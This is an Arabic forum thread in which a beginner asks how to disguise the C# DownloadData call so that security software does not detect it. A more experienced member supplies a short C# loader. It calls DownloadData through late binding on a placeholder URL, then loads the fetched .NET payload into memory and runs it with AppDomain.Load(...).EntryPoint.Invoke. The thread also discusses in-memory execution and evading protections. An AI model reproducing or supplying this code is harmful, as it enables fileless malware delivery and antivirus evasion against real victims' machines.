تمت الإجابة استفسار بخصوص دالة DownloadData فى لغة السى شارب C#

تم تحميل الصفحة في 1,1691901 ثانية
استفسار بخصوص دالة DownloadData فى لغة السى شارب C#
الحالة
مغلق و غير مفتوح للمزيد من الردود.

kabreta

Beginner Developer
rank
إنضم
28 أكتوبر 2012
المشاركات
92
الإعجابات
63
النقاط
18
سلام عليكم يا اخوانى
لو سمحت كنت عايز اعرف
داله ال DownloadData فى السى شارب انا معرفش هى اسمها دالة ولا ميثود ولا Type عمتاً لانى مبتدء فى اللغة

كنت حابب اعرف ازاى اعملها فانكشن و استدعيها الغرض تموية الحمايات اللى بتكشف الدالة دى
عايز اعرف ازاى اعمل فانكشن يكون مثلا مكتوب فيها DownloadData
بالهكس او باى شكل و اعمل استدعاء للفانكشن دى مكان كلمة DownloadData كنوع من تموية الحمايات و اللعب بالسورس فى حال انكشافه من هذة الدالات بعيدا كل البعد عن الريسورس.
يا ريت مثال يوضحلى عشان افهم بس فضلا و ليس امرا.. مشكووور..
 
إنضم
18 يوليو 2015
المشاركات
4,520
الإعجابات
8,206
النقاط
133
الإقامة
Republic Of Bahrain
إنضم
18 يوليو 2015
المشاركات
4,520
الإعجابات
8,206
النقاط
133
الإقامة
Republic Of Bahrain
لم الاحظ انك عملت Start لان الكود ليس به خطأ
جرب اعمل
Build راح يتم بنجاح لكن عند التشغيل راح يظهر خطأ كما شرحت لك بالاعلى
 

kabreta

Beginner Developer
rank
إنضم
28 أكتوبر 2012
المشاركات
92
الإعجابات
63
النقاط
18
لم الاحظ انك عملت Start لان الكود ليس به خطأ
جرب اعمل
Build راح يتم بنجاح لكن عند التشغيل راح يظهر خطأ كما شرحت لك بالاعلى
يعنى هتكون بالشكل دا ؟

AppDomain.CurrentDomain.Load($payload).EntryPoint.Invoke(null,null)

هل يوجد مثال كامل حتى تشغيل البايلود اخى حلاج لكى افهم بدون اخطاء فضلا و ليس امرا؟
 
إنضم
18 يوليو 2015
المشاركات
4,520
الإعجابات
8,206
النقاط
133
الإقامة
Republic Of Bahrain
يعنى هتكون بالشكل دا ؟

AppDomain.CurrentDomain.Load($payload).EntryPoint.Invoke(null,null)

هل يوجد مثال كامل حتى تشغيل البايلود اخى حلاج لكى افهم بدون اخطاء فضلا و ليس امرا؟
اولا يجب ان يكون البايلود مبرمج بـ .net
وايضا يجب ان يكون له نقطة ادخال يعني من الـ
Main وليس Forms Application
هناك طريقة لـ تشغيل من
Forms Application ولكن الطرق العادية بـ استعمال EntryPoint.Invoke يجب ان يكون من Main
هنا شرحت شرح لـ استعمال Invoke Method in Memory :

Invoke in Memory Without EntryPoint Or RunPE
وايضا قم بـ البحث عن الفرق بين الـ managed code و native code قبل ان تبدأ البرمجة والاختراق بشكل عام

C#:
 WebClient H = new WebClient();
            byte[] HBytes = (byte[])LateBinding.LateGet(H, null, "DownloadData", new object[]{
    "your data url"
}, null, null);
            AppDomain.CurrentDomain.Load(HBytes).EntryPoint.Invoke(null, null);
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل